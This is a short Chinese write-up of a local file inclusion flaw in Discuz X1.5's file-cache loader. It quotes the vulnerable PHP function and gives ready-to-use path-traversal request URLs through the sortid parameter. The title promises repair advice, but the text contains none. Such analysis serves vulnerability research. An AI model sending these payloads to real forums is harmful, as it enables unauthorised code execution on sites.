Discuz X1.5本地文件包含漏洞安全风险分析与修复建议

DISCUZX1.5 存在一个本地文件包含漏洞，不过有个前提——站点得用文件作为缓存机制。配置文件中对应的开关是这样的：

$_config['cache']['type'] = 'file';

来看看缓存加载的逻辑：

function cachedata($cachenames) {
    $isfilecache = getglobal('config/cache/type') == 'file';
    if($isfilecache) {
        $lostcaches = array();
        foreach($cachenames as $cachename) {
            if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
                $lostcaches[] = $cachename;
            }
        }
    }
}

关键点在于 $cachename 直接拼接路径，没有做严格的过滤。如果能控制这个参数，就可以通过路径穿越引入任意 PHP 文件。实测中，通过以下请求可以成功触发：

http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

以及另一个变种：

http://localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried

最终效果是，api/uc.php 页面中的代码被执行了。也就是说，只要满足文件缓存的条件，攻击者就能利用 sortid 参数实现本地文件包含，进而执行站点 API 目录下的任意 PHP 文件。这个漏洞的实际利用面有多大，完全取决于目标站点的缓存配置和应用场景。